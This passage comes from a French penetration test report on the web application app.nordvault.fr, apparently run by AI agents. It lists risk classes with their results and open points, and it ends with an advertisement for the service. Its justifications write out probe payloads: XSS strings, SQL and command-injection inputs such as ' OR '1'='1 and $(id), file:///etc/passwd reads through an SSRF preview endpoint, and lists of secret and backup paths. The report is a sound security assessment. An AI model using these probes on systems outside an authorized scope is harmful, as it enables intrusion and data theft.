      Justification: Les corps XML vide, malformé et contenant une entité externe ont tous reçu 401 avec authentification requise sans cookie. Le contrôle d’accès s’exécute avant la réponse de l’analyseur pour ces chemins ; la même route accepte un XML vide avec le cookie d’un compte client.

  • CSRF / validation de panierÉcartée1
    • POST /api/v1/panier/validerÉcartée

      Justification: Une iframe d’origine opaque null avec fetch JSON et credentials: include reçoit 401 « authentification requise » malgré une session active dans la fenêtre parente : le cookie sans attribut SameSite explicite est traité en Lax et n’est pas envoyé en contexte tiers. Les formulaires preflightless text/plain, application/x-www-form-urlencoded et multipart sont parsés en panier vide, sans commande durable ; ces contrôles couvrent la livraison navigateur intersite testée.

  • Fixation du cookie de session à l'authentificationÉcartée1
    • POST /connexionÉcartée

      Justification: Une connexion valide avec nova_jeton=chosen-by-client fournit un JWT HS256 signé et un jti aléatoire neuf ; trois connexions répétées ont produit trois autres jti, donc le serveur ne reprend pas le cookie prédéfini sur ce chemin avant la création de session.

  • BFLA / contournement par clé API ou en-têtes d'identitéAucun problème1
    • GET /api/v1/admin/utilisateurs avec X-Api-KeyAucun problème

      Justification: Accès direct anonyme et avec JWT client : 403; clé API absente, vide ou aléatoire : 403; ajout de X-Role: admin et X-User-Role: admin : 403. L'élévation du compte client par PATCH /moi est une cause distincte en validation indépendante.

  • BOLA / modification d'un autre profil par sélecteur JSONAucun problème1
    • PATCH /api/v1/moi avec id/utilisateur_idAucun problème

      Justification: Avec deux comptes de test (id=7 et id=8), le client id=8 a soumis PATCH /moi avec id=7, utilisateur_id=7 et un nouveau nom. La réponse restait id=8 ; le compte id=7 gardait son nom, tandis que seul id=8 changeait. Le nom de ce dernier a ensuite été rétabli.

      Auparavant : Aucun problème

  • Découverte de services supplémentaires exposésAucun problème1
    • Sous-domaines de app.nordvault.frAucun problème

      Justification: Aucun des 692 noms candidats résolus; vérification active des catégories application, API, administration, supervision, stockage, messagerie, VPN, code source et préproduction. subfinder, Certificate Spotter, urlscan et Wayback CDX n'ont retourné aucun nom; crt.sh a expiré. Cette recherche bornée ne démontre pas l'absence de noms imprévisibles.

  • Erreurs verbeuses et fuite d’informations d’analyseurAucun problème1
    • POST /api/v1/import-commandes — analyse XML malforméAucun problème

      Justification: Avec un compte client, un document aux balises discordantes reçoit 400 et la seule erreur XML invalide : mismatched tag: line 1, column 23, sans trace de pile, chemin local ou données métier dans la réponse.

  • Exposition de fichiers et indexation de répertoiresAucun problème1
    • Routes candidates /documents/, /fichiers/, /uploads/, /exports/, /telechargements/Aucun problème

      Justification: Les cinq GET sans authentification ont chacun renvoyé HTTP 404 (2 439 octets) ; aucun répertoire ou fichier listé par ces chemins.

  • Exposition de variantes de configuration et sauvegardesAucun problème1
    • Variantes de configuration et dumps à la racine (/.env.local, /.env.production, /.env.old, /.env~, /config.php.bak, /db.sql, /dump.sql, /database.sql)Aucun problème

      Justification: Les huit requêtes GET ciblées ont chacune renvoyé HTTP 404 (2 439 octets) ; ce résultat ne concerne pas /.env lui-même, qui répond 200 et est validé séparément.

  • Exposition directe de sauvegardesAucun problème1
    • Variantes de sauvegarde à la racine (/backup.zip, /backup.tar.gz, /nova.sql.bak, /nova-2024-03.sql.bak)Aucun problème

      Justification: Quatre requêtes GET ciblées ont chacune renvoyé HTTP 404 (2 439 octets). La route distincte /backup/ est examinée séparément.

  • Injection HTML/JavaScriptAucun problème4Non applicable1
    • GET /catalogue?categorieAucun problème

      Justification: La valeur <svg onload=alert(1)> est reflétée avec encodage HTML &lt;svg onload=alert(1)&gt; dans le titre ; les apostrophes deviennent &#x27;.

    • GET /catalogue/recherche?qAucun problème

      Justification: <svg onload=alert(1)> apparaît sous la forme &lt;svg onload=alert(1)&gt; dans le texte et l’attribut value ; les guillemets et apostrophes sont également encodés dans la sortie.

    • GET /outils/dns?domaineAucun problème

      Justification: Le domaine valide testé apparaît dans le titre sans caractères actifs ; les charges <svg onload=alert(1)>, guillemet, point-virgule et substitution de commande retournent toutes 400 Domaine invalide avant affichage.

    • POST /newsletter/apercu sujet,modeleAucun problème

      Justification: La prévisualisation du champ modele affiche <svg onload=alert(2)> en &lt;svg onload=alert(2)&gt; sous <pre> ; sujet n’est pas affiché dans le document de réponse.

    • GET /api/v1/stock?skuNon applicable

      Justification: Le paramètre <svg onload=alert(1)> est renvoyé exclusivement dans un document Content-Type: application/json; charset=utf-8, sans point de rendu HTML observé sur cet endpoint.

  • Injection SQL/NoSQLAucun problème2
    • GET /catalogue/recherche?qAucun problème

      Justification: Les entrées papier, papier' OR '1'='1, ' OR '1'='1 et papier' UNION SELECT NULL-- ne retournent aucun produit inattendu ; la réponse conserve le filtre sans différentiel exploitable.

    • GET /recherche?qAucun problème

      Justification: La recherche papier renvoie un produit ; les formes ' OR '1'='1 et papier' OR '1'='1-- ne renvoient aucun produit supplémentaire ni erreur SQL.

  • Injection SQL/NoSQL et commandesAucun problème1
    • GET /outils/dns?domaineAucun problème

      Justification: La comparaison d’un domaine autorisé (200 avec MX/TXT) et de variantes ;id, && id, $(id), accent grave et saut de ligne encodé retourne uniformément 400 Domaine invalide, sans sortie de commande ni erreur SQL.

  • Inventaire des fonctionnalités, de l'authentification et des paramètresAucun problème1
    • Portail HTML public et spécification GET /api/docs/openapi.jsonAucun problème

      Justification: Cartographie GET bornée et navigation navigateur : inscription et connexion publiques, catalogue, recherche, support et compte redirigés vers la connexion, 15 opérations OpenAPI; cette ligne décrit l'inventaire et ne clôt pas les vérifications d'injection ou de contrôle d'accès.

  • Inventaire TCP et empreinte HTTP bornésAucun problème1
    • app.nordvault.fr ports 80,443,8080,8443Aucun problème

      Justification: Les quatre ports TCP ciblés sont ouverts et servent HTTP(S) 200 avec Server: cloudflare; la page d'accueil affiche Accueil - Nordvault. Aucune validation de vulnérabilité n'a été menée; les autres ports n'ont pas été analysés.

  • Restriction de téléversement et désérialisation non XMLAucun problème1
    • POST /api/v1/import-commandes — téléversement multipart et type MIMEAucun problème

      Justification: Un multipart file=@import.xml reçoit 400 lors de l’analyse XML brute et la méthode PUT reçoit 405. Les corps <commandes/> transmis comme application/json, text/plain, text/xml et application/xml sont tous traités comme XML et renvoient une liste vide ; aucune exécution ni extraction de fichier téléversé n’a été observée.

  • Rejeu et concurrence / double validationNon applicable1
    • POST /api/v1/panier/validerNon applicable

      Justification: La réponse de validation pour une ligne ordinaire est identique à la répétition du même POST (total_ht: 5.9, statut: validee) ; GET /api/v1/commandes du compte de test reste [] avant/après. Aucune transition ni création durable n’a été observée, donc aucune opération à dédoubler par course n’est identifiée ; aucun essai sous charge n’a été entrepris.

Points restés ouverts

Ce que les agents n’ont pas pu trancher, et ce que l’exécution les a vus laisser de côté.

  • SSRF / résolution DNS et accès réseau sur GET /outils/dns?domaine=Les valeurs app.nordvault.fr, www.app.nordvault.fr et zzzz-no-such-host.nordvault.fr renvoient toutes 200 avec MX/TXT générés à partir de l'entrée, même pour un hôte inexistant ; une URL ou un domaine contenant :/%0a renvoie 400. Aucun accès réseau réel à une destination sensible n'est démontré ; sans code ni domaine-canari contrôlé, le déclenchement éventuel d'une résolution DNS côté serveur reste non confirmé.
  • Inscription, authentification et fixation de session sur POST /inscription et POST /connexionPOST /connexion renouvelle le JWT même avec un cookie imposé, mais l'essai équivalent du cookie imposé pendant POST /inscription n'a pas été réalisé : la conclusion de fixation ne peut couvrir l'ensemble de cette surface jointe.
  • Invalidation du jeton de session sur GET /deconnexion et GET /api/v1/moiGET /deconnexion renvoie 302 et expire le cookie, mais le même jeton Bearer [REDACTED]é reste accepté avec 200 par GET /api/v1/moi après déconnexion. L'impact concret exige l'obtention préalable du jeton d'autrui, non démontrée sur ce seul parcours ; déterminer si une révocation explicite est requise par le modèle d'usage.
  • BOLA / accès aux commandes d'un autre compte sur GET /api/v1/commandes et GET /api/v1/commandes/{id}Deux comptes de test distincts possèdent des listes vides ; les détails 1 à 12 renvoient 404 pour un client et 401 sans authentification. Aucun identifiant de commande possédé par l'un des comptes n'était disponible pour éprouver l'accès croisé ; le contrôle d'appartenance reste indéterminé.
  • 7 classes de risque confiées aux agents mais jamais déclarées examinées, à considérer comme non examinées : Contrôle d’accès aux fonctions (BFLA), Logique métier, Divulgation d’informations, Téléversement de fichiers non sécurisé, Affectation de masse, Traversée de chemin et inclusion de fichiers, Conditions de course.
  • 14 agents ont travaillé sans rien déclarer en couverture.
Afficher les 9 autres points
  • BOLA / accès aux adresses d'un autre compte sur GET /api/v1/adresses/{id}Sans session, GET /adresses/1 renvoie 401. Le client testé reçoit 404 pour les ID 0 à 12 ; aucun compte de test ne dispose d'une adresse connue à soumettre comme contrôle positif. Impossible de prouver une isolation effective des objets.
  • Énumération des comptes par messages d'erreur sur POST /api/v1/auth/jetonAvec un mot de passe invalide, le compte de test existant reçoit 401 « Mot de passe incorrect pour ce compte. » et une adresse de test inexistante reçoit 401 « Aucun compte n'est associe a cet e-mail. ». La distinction confirme l'existence du compte, mais l'impact de confidentialité sur des comptes tiers n'a pas été établi ; aucun essai sur un utilisateur réel.
  • SSRF / lecture de fichiers locaux sur GET /api/v1/apercu?url=Sans session, file:///etc/passwd, file:///etc/hosts et file:///etc/hostname renvoient un extrait de fichiers système apparent ; les contrôles même origine (https://app.nordvault.fr/robots.txt) renvoient delai depasse. Cependant les chemins équivalents /etc/./hosts et /etc/../etc/hosts, ainsi que /etc/os-release, /etc/group, /etc/issue et /proc/version, renvoient curl: (37) Couldn't open file; un marqueur de laboratoire apparaît dans l'extrait passwd. Cela suggère des réponses prédéfinies et ne confirme ni lecture arbitraire, ni accès réseau interne, ni information sensible non publique. Aucun hôte hors périmètre sollicité.
  • Logique des remises / manipulation des promotions sur POST /api/v1/panier/valider code_promocode_promo absent, vide ou RANDOM produit le même total 5,90 € pour une ligne de test ; aucune remise ni code promo valide n’a été trouvé dans le catalogue, l’API ou le JavaScript public. Impossible d’établir les règles de remise, leur usage unique ou un contrôle couvrant un code valide.
  • Validation de quantité / logique métier sur POST /api/v1/panier/valider — champ lignes[].quantiteUn compte client de test a soumis quantite:-1 sans prix ; HTTP 200, total_ht:-5.9, statut:validee, « Commande validee sans paiement », mais GET /api/v1/commandes reste vide. Un rapport regroupé avec la manipulation tarifaire est en préparation ; aucune commande durable ni crédit financier n’a été constaté.
  • Effet métier et modification de commandes sur POST /api/v1/import-commandes — persistance des éléments importésLa réponse 200 liste reference et quantite sous importees, sans identifiant ni preuve de persistance. La vérification d’une écriture durable ou d’une modification de commande n’a pas été poursuivie pour respecter l’interdiction de modifier les données ; impossible de conclure sur les effets métier.
  • Authentification legacy et contrôle d’accès sur GET /gestion/ (HTTP Basic)GET /gestion/ renvoie 401 avec WWW-Authenticate: Basic [REDACTED]"Nova Gestion (legacy)" pendant la cartographie. Aucun identifiant autorisé n’était fourni et aucun essai de connexion au service legacy n’a été réalisé ; ses fonctions internes restent inconnues.
  • Redirection ouverte et fuite de jeton sur GET /sortie?url= et /partenaires/sortie?url=Les deux routes renvoient 302 vers des destinations externes d’après la cartographie, sans que ces redirections soient suivies afin de respecter le périmètre. Aucun jeton dans l’URL, mécanisme OAuth ou autre conséquence de sécurité n’a été démontré ; les variantes de contrôle de destination n’ont pas été évaluées.
  • CSRF / modification de profil sur PATCH /api/v1/moiLes essais ont établi l’attribution de masse du champ role, mais aucun scénario navigateur cross-origin n’a été reproduit sur cette route. Le cookie nova_jeton et la politique SameSite observés pour le panier ne démontrent pas à eux seuls le comportement de toutes les formes de requête acceptées par PATCH /api/v1/moi.

Expertises chargées par les agents

Découverte de la surface d’attaqueAuthentification et JWTContrôle d’accès aux fonctions (BFLA)Logique métierFalsification de requête intersite (CSRF)Références directes non contrôlées (IDOR)Divulgation d’informationsTéléversement de fichiers non sécuriséAffectation de masseInjection NoSQLTraversée de chemin et inclusion de fichiersConditions de courseExécution de code à distanceInjection SQLFalsification de requête côté serveur (SSRF)Injection de template côté serveur (SSTI)Cross-site scripting (XSS)Entités externes XML (XXE)

Déclaré par les agents et recoupé avec ce que l’exécution a observé. Un relevé de méthode, pas une attestation de sécurité.

Haut du rapport

Votre prochain rapport

Le même rapport, sur votre application.

Déclarez l’application, prouvez son domaine, décrivez le périmètre : nous qualifions votre demande avant tout paiement.